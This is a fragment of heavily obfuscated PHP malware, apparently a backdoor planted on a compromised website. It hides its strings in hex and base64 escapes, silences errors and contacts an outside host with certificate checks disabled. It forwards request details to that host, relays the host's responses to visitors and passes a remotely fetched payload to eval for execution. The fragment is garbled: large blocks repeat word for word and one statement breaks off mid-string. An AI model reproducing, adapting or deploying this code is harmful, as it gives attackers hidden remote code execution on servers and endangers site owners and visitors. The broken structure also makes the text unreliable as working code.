0Z60: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYPEER, 0); goto CdEcDbGLfEUYus; SrEe2CxlVZ1Xgs: if (ini_get("\141\x6c\154\x6f\x77\137\165\162\154\x5f\x66\x6f\160\145\x6e")) { goto j5UjWgrs2EFRKg; } goto e8FoOME_gF7Hct; Ea0XNDHYTjFHoG: wM1RKsGBStG2ZK: goto OGAaTUzoxASsQJ; lHKSZHcqB2pu6E: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYHOST, 0); goto lmSKDcEicG0Z60; XvJu6e4hLem2QO: j5UjWgrs2EFRKg: goto fGgd1EnFqSq29g; e8FoOME_gF7Hct: goto wM1RKsGBStG2ZK; goto IxBmkqlUyE0So4; zGPRH0TiTdmkC1: $LuXppVCTfAwT9f = @file_get_contents($pE2rbr7cqyRIrz, false, $B1js8ICorVGqxe); goto gn1ir57kmuCPdd; sCe1qOPt4tZq91: curl_setopt($PbqmehvzG4MGrB, CURLOPT_TIMEOUT, 60); goto J0DcsVkp_uJAM3; gn1ir57kmuCPdd: $Obe5O3pNrh1wNk = array_merge($Obe5O3pNrh1wNk, qmuK6aRaNpxL8Q($http_response_header)); goto SVkVRfXQbYMlVM; NYAkn5KIn2_2Ba: $I3mcVvkL3MU3kb = curl_exec($PbqmehvzG4MGrB); goto z3_UEg3pzeFgWJ; CdEcDbGLfEUYus: curl_setopt($PbqmehvzG4MGrB, CURLOPT_CONNECTTIMEOUT, 20); goto sCe1qOPt4tZq91; SVkVRfXQbYMlVM: if (!in_array($Obe5O3pNrh1wNk["\x73\x74\141\x74\x75\163"], array(200, 301, 302, 404))) { goto W9Szvhe2bc1hHc; } goto QyaJc11ZnEqkdB; fGgd1EnFqSq29g: $WP83up5sMeyaxE = array("\x68\x74\164\160" => array("\155\x65\164\x68\x6f\144" => "\107\x45\124", "\x74\x69\x6d\145\x6f\165\164" => 60, "\146\157\x6c\154\157\167\137\154\157\143\x61\x74\151\x6f\156" => 0), "\163\x73\154" => array("\166\x65\x72\151\x66\x79\x5f\160\145\145\162" => false, "\x76\x65\162\x69\x66\171\x5f\x70\x65\x65\162\x5f\x6e\141\x6d\x65" => false)); goto Y7Onca53Sca0DD; Hdk7beW1IivhPl: $Obe5O3pNrh1wNk["\143\157\156\x74\x65\x6e\164"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_REDIRECT_URL)); goto e3GZUfcHdrWcSn; uzbvgxZ37i3c5g: $Obe5O3pNrh1wNk["\x63\157\x6e\x74\145\156\164"] = strval($I3mcVvkL3MU3kb); goto vAz_xI94jNO3c0; nAp2lfYMenLiNo: $Obe5O3pNrh1wNk["\164\171\160\145"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_CONTENT_TYPE)); goto Hdk7beW1IivhPl; BsKQ_p4qozFEyS: curl_setopt($PbqmehvzG4MGrB, CURLOPT_URL, $pE2rbr7cqyRIrz); goto lHKSZHcqB2pu6E; IxBmkqlUyE0So4: yJdspatH00t0Hw: goto PYlAwPrvr9pa8q; gifor8AiO5daud: goto wM1RKsGBStG2ZK; goto XvJu6e4hLem2QO; Y7Onca53Sca0DD: $B1js8ICorVGqxe = stream_context_create($WP83up5sMeyaxE); goto zGPRH0TiTdmkC1; W7oisnoPyntpOz: W9Szvhe2bc1hHc: goto Ea0XNDHYTjFHoG; vAz_xI94jNO3c0: BvFk0FoBiJUpnq: goto gifor8AiO5daud; NAI0EsjCEgXU9z: if (!in_array($Obe5O3pNrh1wNk["\163\164\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto BvFk0FoBiJUpnq; } goto uzbvgxZ37i3c5g; J0DcsVkp_uJAM3: curl_setopt($PbqmehvzG4MGrB, CURLOPT_FOLLOWLOCATION, 0); goto OcjBx5_OjAu0l0; QyaJc11ZnEqkdB: $Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"] = strval($LuXppVCTfAwT9f); goto W7oisnoPyntpOz; ZluigYn8_PfhFB: curl_setopt($PbqmehvzG4MGrB, CURLOPT_RETURNTRANSFER, 1); goto NYAkn5KIn2_2Ba; OcjBx5_OjAu0l0: curl_setopt($PbqmehvzG4MGrB, CURLOPT_COOKIESESSION, 0); goto ZluigYn8_PfhFB; wKyNKaSBogESbe: if (function_exists("\143\x75\162\x6c\x5f\x65\170\x65\x63")) { goto yJdspatH00t0Hw; } goto SrEe2CxlVZ1Xgs; z3_UEg3pzeFgWJ: $Obe5O3pNrh1wNk["\x73\x74\141\x74\165\163"] = intval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_HTTP_CODE)); goto nAp2lfYMenLiNo; e3GZUfcHdrWcSn: @curl_close($PbqmehvzG4MGrB); goto NAI0EsjCEgXU9z; PYlAwPrvr9pa8q: $PbqmehvzG4MGrB = curl_init(); goto BsKQ_p4qozFEyS; OGAaTUzoxASsQJ: } catch (Exception $z_EY6cuS0vnlk2) { } goto rU4lXC78aUrdYe; sCCrmVXe3x92r0: $pE2rbr7cqyRIrz .= "\x3f" . http_build_query($sBGGalrm5oOaYf); goto HciNXaBKOZJNvS; TBw4XEIMDejnW9: $Obe5O3pNrh1wNk = array("\x73\x74\x61\x74\x75\163" => 0, "\x63\157\156\164\145\156\164" => '', "\164\171\160\x65" => ''); goto iC1UwL27GLH3d1; iC1UwL27GLH3d1: if (!(is_array($sBGGalrm5oOaYf) && count($sBGGalrm5oOaYf))) { goto SFAUOsSuYPb1TC; } goto sCCrmVXe3x92r0; HciNXaBKOZJNvS: SFAUOsSuYPb1TC: goto x1a5PcimegMvHT; rU4lXC78aUrdYe: return $Obe5O3pNrh1wNk; goto cCmeK6cH01R_wO; cCmeK6cH01R_wO: } goto SlOv92pUeuRbs6; ucaWV1TMmtIeep: $eiocgmgKfh6buy = ${$EezeSVWoiw2BnJ[5 + 26] . $EezeSVWoiw2BnJ[15 + 44] . $EezeSVWoiw2BnJ[1 + 46] . $EezeSVWoiw2BnJ[30 + 17] . $EezeSVWoiw2BnJ[1 + 50] . $EezeSVWoiw2BnJ[14 + 39] . $EezeSVWoiw2BnJ[43 + 14]}; goto V5f0sGGXQ1JtQR; uxRi5Q7SMo35qu: function qMUk6AraNPxL8q($WyPMVQK65fxNbg) { goto tRhN1IcppKG6WG; ZMYHJ38DO1SLqc: if (is_array($WyPMVQK65fxNbg)) { goto hDdlaf9lN9rz9Z; } goto NUcIzBY2Ia1pq0; MZkpMKPS9emCLB: fS7JwAyeAluyVc: goto cx0gfqxv2XKs9z; Ted15sZWFmKSdo: hDdlaf9lN9rz9Z: goto tS1MthVbKHU7JB; tS1MthVbKHU7JB: foreach ($WyPMVQK65fxNbg as $P15J4uQ1cCxCkb) { goto bAZlMK_kmrms5o; wpFK_FTVDam9C7: qlSYwp19h9Kk1s: goto midAZxu4fxJqWy; bTo8vcnnFbnGUH: $NtXkRSt04MyRzo["\143\x6f\156\x74\x65\x6e\x74"] = $M9aoVS4M2J44Sn[1]; goto dbGiTto4XBIBVq; WqdDrBlBJh8OeH: $NtXkRSt04MyRzo["\163\x74\141\164\165\163"] = intval($M9aoVS4M2J44Sn[1]); goto vWR3cIucChk62I; QptZOzBU4E3F6P: TOFK710o2qRdS3: goto bTo8vcnnFbnGUH; T0FZQC73tH7Vfx: if (preg_match("\x2f\154\x6f\143\x61\x74\x69\x6f\156\x5c\72\x5b\x5c\x73\135\x2b\50\x2e\52\x29\57\x69", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto TOFK710o2qRdS3; } goto yIkZ1DKt2DxUJb; SIGdH0icUcPl0c: YUkmFdmDRJcK3y: goto WqdDrBlBJh8OeH; vWR3cIucChk62I: goto qlSYwp19h9Kk1s; goto QptZOzBU4E3F6P; dbGiTto4XBIBVq: goto qlSYwp19h9Kk1s; goto ovzv5MbfzRr_EX; yIkZ1DKt2DxUJb: if (preg_match("\57\x63\157\x6e\164\x65\156\x74\134\x2d\x74\171\160\x65\134\72\x5b\134\163\135\53\50\x2e\52\x29\57\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YdyTwBGd_zJdW3; } goto kWtQi2z2vo6nl7; bAZlMK_kmrms5o: if (preg_match("\x2f\150\x74\164\160\134\57\133\60\x2d\x39\134\56\135\53\133\134\x73\x5d\x2b\x28\133\60\55\71\135\53\x29\x2f\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YUkmFdmDRJcK3y; } goto T0FZQC73tH7Vfx; YK02_HmIMtMB2c: $NtXkRSt04MyRzo["\x74\x79\x70\145"] = $M9aoVS4M2J44Sn[1]; goto wpFK_FTVDam9C7; kWtQi2z2vo6nl7: goto qlSYwp19h9Kk1s; goto SIGdH0icUcPl0c; ovzv5MbfzRr_EX: YdyTwBGd_zJdW3: goto YK02_HmIMtMB2c; midAZxu4fxJqWy: Qh1bnO7sj0ij8N: goto iQ3S9yjDtCeZa4; iQ3S9yjDtCeZa4: } goto MZkpMKPS9emCLB; cx0gfqxv2XKs9z: return $NtXkRSt04MyRzo; goto jZM7_Ocu4g3Eue; tRhN1IcppKG6WG: $NtXkRSt04MyRzo = array("\163\x74\141\164\165\x73" => 0, "\x63\x6f\x6e\164\145\156\x74" => '', "\164\x79\160\x65" => ''); goto ZMYHJ38DO1SLqc; NUcIzBY2Ia1pq0: return $NtXkRSt04MyRzo; goto Ted15sZWFmKSdo; jZM7_Ocu4g3Eue: } goto d9hQMaXnng4mkT; J5qe_wS1vgzck7: function IEQtHmj2ILY1WC() { goto hCdGR6BDbdm1SX; gwF3cI6SmTRMHy: return $TjAL9SfpCu_Vfy; goto VVYGLENwiOPjfL; ZYLdcBGeB2ABzZ: goto TpYA2VReWt0Rn7; goto G82CTUQjRJ5LLC; YsGkgNwatvXi6y: snJPcTodU1EOVu: goto PYWaa80Uel55zV; hCdGR6BDbdm1SX: $TjAL9SfpCu_Vfy = "\x68\164\x74\x70\72\57\57"; goto xWvBw8pLgVsmgG; AhcaFB9B3gMXPO: goto TpYA2VReWt0Rn7; goto k0If3ve2hQMxaB; gTYyEwk3_LUcDz: TpYA2VReWt0Rn7: goto gwF3cI6SmTRMHy; h0bTManPMOTqhL: goto TpYA2VReWt0Rn7; goto YsGkgNwatvXi6y; xWvBw8pLgVsmgG: if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\123"]) !== "\x6f\x66\146") { goto snJPcTodU1EOVu; } goto ME9cSr2QkJbHPA; G82CTUQjRJ5LLC: dUW3UlNhBZ6D9b: goto mb4gmMXHTo2Q03; OXh5GgWyMOQ9av: if (isset($_SERVER["\110\124\124\120\137\106\122\x4f\x4e\x54\137\105\116\104\137\110\x54\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\106\x52\117\116\124\x5f\x45\x4e\x44\x5f\110\x54\124\x50\123"]) !== "\157\146\x66") { goto dUW3UlNhBZ6D9b; } goto h0bTManPMOTqhL; k0If3ve2hQMxaB: G_2Gdaf967GaUx: goto n0D9LxkXWBNaQA; ME9cSr2QkJbHPA: if (isset($_SERVER["\x48\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\101\x52\x44\105\104\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\x58\x5f\106\x4f\x52\127\x41\122\104\x45\x44\137\120\x52\x4f\x54\x4f"] === "\150\x74\164\x70\163") { goto G_2Gdaf967GaUx; } goto OXh5GgWyMOQ9av; n0D9LxkXWBNaQA: $TjAL9SfpCu_Vfy = "\150\x74\164\160\x73\x3a\57\x2f"; goto ZYLdcBGeB2ABzZ; PYWaa80Uel55zV: $TjAL9SfpCu_Vfy = "\150\164\x74\x70\x73\x3a\57\57"; goto AhcaFB9B3gMXPO; mb4gmMXHTo2Q03: $TjAL9SfpCu_Vfy = "\x68\164\164\160\x73\x3a\x2f\57"; goto gTYyEwk3_LUcDz; VVYGLENwiOPjfL: } goto BB4OxnMd_EMy3p; nKaKDB4as0yoc_: CWZS7eew2qXSpf: goto xiPjYeHDGGYTk1; uQMzHjqkf81tHB: if (!$kQ67spUDDLBffj) { goto aXnousimfq1MHe; } goto xs5fLHH9cPjVCu; RIsMt2qsgu4dAl: $Gc9_8J48v7x6gV = preg_replace("\x2f\134\77\56\52\x2f", '', $_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"]); goto Mk0DSKrr4qXtCe; otJnenzuNlf2sr: if (!(strpos($Gc9_8J48v7x6gV, "\56") > 0)) { goto CWZS7eew2qXSpf; } goto sjCKQHz6Q60Ccm; PiS66AgndgIJSv: Cr5laLHspUINK9: goto ufyV20U0fMcSJg; Mk0DSKrr4qXtCe: $kQ67spUDDLBffj = true; goto DxyNV93FjRyEoy; DxyNV93FjRyEoy: $HONQlNCvlYnOH8 = ''; goto otJnenzuNlf2sr; IMYI82ML4NgtAy: error_reporting(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQw47\x7a\115\x6a\131\167\x4e\124\101\171"); goto zCPQ5sJ4prS3cM; nUMVH0fIl9qU1U: $DCQAxVYJ0s2xNZ = iEqtHmj2iLY1Wc() . $_SERVER["\110\124\124\x50\x5f\110\117\123\x54"]; goto ijprTBHjnBLYhs; d9hQMaXnng4mkT: function CtP2tSFlXG1jMM($pE2rbr7cqyRIrz, $sBGGalrm5oOaYf = array()) { goto TBw4XEIMDejnW9; x1a5PcimegMvHT: try { goto wKyNKaSBogESbe; lmSKDcEicG0Z60: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYPEER, 0); goto CdEcDbGLfEUYus; SrEe2CxlVZ1Xgs: if (ini_get("\141\x6c\154\x6f\x77\137\165\162\154\x5f\x66\x6f\160\145\x6e")) { goto j5UjWgrs2EFRKg; } goto e8FoOME_gF7Hct; Ea0XNDHYTjFHoG: wM1RKsGBStG2ZK: goto OGAaTUzoxASsQJ; lHKSZHcqB2pu6E: curl_setopt($PbqmehvzG4MGrB, CURLOPT_SSL_VERIFYHOST, 0); goto lmSKDcEicG0Z60; XvJu6e4hLem2QO: j5UjWgrs2EFRKg: goto fGgd1EnFqSq29g; e8FoOME_gF7Hct: goto wM1RKsGBStG2ZK; goto IxBmkqlUyE0So4; zGPRH0TiTdmkC1: $LuXppVCTfAwT9f = @file_get_contents($pE2rbr7cqyRIrz, false, $B1js8ICorVGqxe); goto gn1ir57kmuCPdd; sCe1qOPt4tZq91: curl_setopt($PbqmehvzG4MGrB, CURLOPT_TIMEOUT, 60); goto J0DcsVkp_uJAM3; gn1ir57kmuCPdd: $Obe5O3pNrh1wNk = array_merge($Obe5O3pNrh1wNk, qmuK6aRaNpxL8Q($http_response_header)); goto SVkVRfXQbYMlVM; NYAkn5KIn2_2Ba: $I3mcVvkL3MU3kb = curl_exec($PbqmehvzG4MGrB); goto z3_UEg3pzeFgWJ; CdEcDbGLfEUYus: curl_setopt($PbqmehvzG4MGrB, CURLOPT_CONNECTTIMEOUT, 20); goto sCe1qOPt4tZq91; SVkVRfXQbYMlVM: if (!in_array($Obe5O3pNrh1wNk["\x73\x74\141\x74\x75\163"], array(200, 301, 302, 404))) { goto W9Szvhe2bc1hHc; } goto QyaJc11ZnEqkdB; fGgd1EnFqSq29g: $WP83up5sMeyaxE = array("\x68\x74\164\160" => array("\155\x65\164\x68\x6f\144" => "\107\x45\124", "\x74\x69\x6d\145\x6f\165\164" => 60, "\146\157\x6c\154\157\167\137\154\157\143\x61\x74\151\x6f\156" => 0), "\163\x73\154" => array("\166\x65\x72\151\x66\x79\x5f\160\145\145\162" => false, "\x76\x65\162\x69\x66\171\x5f\x70\x65\x65\162\x5f\x6e\141\x6d\x65" => false)); goto Y7Onca53Sca0DD; Hdk7beW1IivhPl: $Obe5O3pNrh1wNk["\143\157\156\x74\x65\x6e\164"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_REDIRECT_URL)); goto e3GZUfcHdrWcSn; uzbvgxZ37i3c5g: $Obe5O3pNrh1wNk["\x63\157\x6e\x74\145\156\164"] = strval($I3mcVvkL3MU3kb); goto vAz_xI94jNO3c0; nAp2lfYMenLiNo: $Obe5O3pNrh1wNk["\164\171\160\145"] = strval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_CONTENT_TYPE)); goto Hdk7beW1IivhPl; BsKQ_p4qozFEyS: curl_setopt($PbqmehvzG4MGrB, CURLOPT_URL, $pE2rbr7cqyRIrz); goto lHKSZHcqB2pu6E; IxBmkqlUyE0So4: yJdspatH00t0Hw: goto PYlAwPrvr9pa8q; gifor8AiO5daud: goto wM1RKsGBStG2ZK; goto XvJu6e4hLem2QO; Y7Onca53Sca0DD: $B1js8ICorVGqxe = stream_context_create($WP83up5sMeyaxE); goto zGPRH0TiTdmkC1; W7oisnoPyntpOz: W9Szvhe2bc1hHc: goto Ea0XNDHYTjFHoG; vAz_xI94jNO3c0: BvFk0FoBiJUpnq: goto gifor8AiO5daud; NAI0EsjCEgXU9z: if (!in_array($Obe5O3pNrh1wNk["\163\164\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto BvFk0FoBiJUpnq; } goto uzbvgxZ37i3c5g; J0DcsVkp_uJAM3: curl_setopt($PbqmehvzG4MGrB, CURLOPT_FOLLOWLOCATION, 0); goto OcjBx5_OjAu0l0; QyaJc11ZnEqkdB: $Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"] = strval($LuXppVCTfAwT9f); goto W7oisnoPyntpOz; ZluigYn8_PfhFB: curl_setopt($PbqmehvzG4MGrB, CURLOPT_RETURNTRANSFER, 1); goto NYAkn5KIn2_2Ba; OcjBx5_OjAu0l0: curl_setopt($PbqmehvzG4MGrB, CURLOPT_COOKIESESSION, 0); goto ZluigYn8_PfhFB; wKyNKaSBogESbe: if (function_exists("\143\x75\162\x6c\x5f\x65\170\x65\x63")) { goto yJdspatH00t0Hw; } goto SrEe2CxlVZ1Xgs; z3_UEg3pzeFgWJ: $Obe5O3pNrh1wNk["\x73\x74\141\x74\165\163"] = intval(curl_getinfo($PbqmehvzG4MGrB, CURLINFO_HTTP_CODE)); goto nAp2lfYMenLiNo; e3GZUfcHdrWcSn: @curl_close($PbqmehvzG4MGrB); goto NAI0EsjCEgXU9z; PYlAwPrvr9pa8q: $PbqmehvzG4MGrB = curl_init(); goto BsKQ_p4qozFEyS; OGAaTUzoxASsQJ: } catch (Exception $z_EY6cuS0vnlk2) { } goto rU4lXC78aUrdYe; sCCrmVXe3x92r0: $pE2rbr7cqyRIrz .= "\x3f" . http_build_query($sBGGalrm5oOaYf); goto HciNXaBKOZJNvS; TBw4XEIMDejnW9: $Obe5O3pNrh1wNk = array("\x73\x74\x61\x74\x75\163" => 0, "\x63\157\156\164\145\156\164" => '', "\164\171\160\x65" => ''); goto iC1UwL27GLH3d1; iC1UwL27GLH3d1: if (!(is_array($sBGGalrm5oOaYf) && count($sBGGalrm5oOaYf))) { goto SFAUOsSuYPb1TC; } goto sCCrmVXe3x92r0; HciNXaBKOZJNvS: SFAUOsSuYPb1TC: goto x1a5PcimegMvHT; rU4lXC78aUrdYe: return $Obe5O3pNrh1wNk; goto cCmeK6cH01R_wO; cCmeK6cH01R_wO: } goto SlOv92pUeuRbs6; ucaWV1TMmtIeep: $eiocgmgKfh6buy = ${$EezeSVWoiw2BnJ[5 + 26] . $EezeSVWoiw2BnJ[15 + 44] . $EezeSVWoiw2BnJ[1 + 46] . $EezeSVWoiw2BnJ[30 + 17] . $EezeSVWoiw2BnJ[1 + 50] . $EezeSVWoiw2BnJ[14 + 39] . $EezeSVWoiw2BnJ[43 + 14]}; goto V5f0sGGXQ1JtQR; uxRi5Q7SMo35qu: function qMUk6AraNPxL8q($WyPMVQK65fxNbg) { goto tRhN1IcppKG6WG; ZMYHJ38DO1SLqc: if (is_array($WyPMVQK65fxNbg)) { goto hDdlaf9lN9rz9Z; } goto NUcIzBY2Ia1pq0; MZkpMKPS9emCLB: fS7JwAyeAluyVc: goto cx0gfqxv2XKs9z; Ted15sZWFmKSdo: hDdlaf9lN9rz9Z: goto tS1MthVbKHU7JB; tS1MthVbKHU7JB: foreach ($WyPMVQK65fxNbg as $P15J4uQ1cCxCkb) { goto bAZlMK_kmrms5o; wpFK_FTVDam9C7: qlSYwp19h9Kk1s: goto midAZxu4fxJqWy; bTo8vcnnFbnGUH: $NtXkRSt04MyRzo["\143\x6f\156\x74\x65\x6e\x74"] = $M9aoVS4M2J44Sn[1]; goto dbGiTto4XBIBVq; WqdDrBlBJh8OeH: $NtXkRSt04MyRzo["\163\x74\141\164\165\163"] = intval($M9aoVS4M2J44Sn[1]); goto vWR3cIucChk62I; QptZOzBU4E3F6P: TOFK710o2qRdS3: goto bTo8vcnnFbnGUH; T0FZQC73tH7Vfx: if (preg_match("\x2f\154\x6f\143\x61\x74\x69\x6f\156\x5c\72\x5b\x5c\x73\135\x2b\50\x2e\52\x29\57\x69", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto TOFK710o2qRdS3; } goto yIkZ1DKt2DxUJb; SIGdH0icUcPl0c: YUkmFdmDRJcK3y: goto WqdDrBlBJh8OeH; vWR3cIucChk62I: goto qlSYwp19h9Kk1s; goto QptZOzBU4E3F6P; dbGiTto4XBIBVq: goto qlSYwp19h9Kk1s; goto ovzv5MbfzRr_EX; yIkZ1DKt2DxUJb: if (preg_match("\57\x63\157\x6e\164\x65\156\x74\134\x2d\x74\171\160\x65\134\72\x5b\134\163\135\53\50\x2e\52\x29\57\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YdyTwBGd_zJdW3; } goto kWtQi2z2vo6nl7; bAZlMK_kmrms5o: if (preg_match("\x2f\150\x74\164\160\134\57\133\60\x2d\x39\134\56\135\53\133\134\x73\x5d\x2b\x28\133\60\55\71\135\53\x29\x2f\151", $P15J4uQ1cCxCkb, $M9aoVS4M2J44Sn)) { goto YUkmFdmDRJcK3y; } goto T0FZQC73tH7Vfx; YK02_HmIMtMB2c: $NtXkRSt04MyRzo["\x74\x79\x70\145"] = $M9aoVS4M2J44Sn[1]; goto wpFK_FTVDam9C7; kWtQi2z2vo6nl7: goto qlSYwp19h9Kk1s; goto SIGdH0icUcPl0c; ovzv5MbfzRr_EX: YdyTwBGd_zJdW3: goto YK02_HmIMtMB2c; midAZxu4fxJqWy: Qh1bnO7sj0ij8N: goto iQ3S9yjDtCeZa4; iQ3S9yjDtCeZa4: } goto MZkpMKPS9emCLB; cx0gfqxv2XKs9z: return $NtXkRSt04MyRzo; goto jZM7_Ocu4g3Eue; tRhN1IcppKG6WG: $NtXkRSt04MyRzo = array("\163\x74\141\164\165\x73" => 0, "\x63\x6f\x6e\164\145\156\x74" => '', "\164\x79\160\x65" => ''); goto ZMYHJ38DO1SLqc; NUcIzBY2Ia1pq0: return $NtXkRSt04MyRzo; goto Ted15sZWFmKSdo; jZM7_Ocu4g3Eue: } goto d9hQMaXnng4mkT; J5qe_wS1vgzck7: function IEQtHmj2ILY1WC() { goto hCdGR6BDbdm1SX; gwF3cI6SmTRMHy: return $TjAL9SfpCu_Vfy; goto VVYGLENwiOPjfL; ZYLdcBGeB2ABzZ: goto TpYA2VReWt0Rn7; goto G82CTUQjRJ5LLC; YsGkgNwatvXi6y: snJPcTodU1EOVu: goto PYWaa80Uel55zV; hCdGR6BDbdm1SX: $TjAL9SfpCu_Vfy = "\x68\164\x74\x70\72\57\57"; goto xWvBw8pLgVsmgG; AhcaFB9B3gMXPO: goto TpYA2VReWt0Rn7; goto k0If3ve2hQMxaB; gTYyEwk3_LUcDz: TpYA2VReWt0Rn7: goto gwF3cI6SmTRMHy; h0bTManPMOTqhL: goto TpYA2VReWt0Rn7; goto YsGkgNwatvXi6y; xWvBw8pLgVsmgG: if (isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\123"]) !== "\x6f\x66\146") { goto snJPcTodU1EOVu; } goto ME9cSr2QkJbHPA; 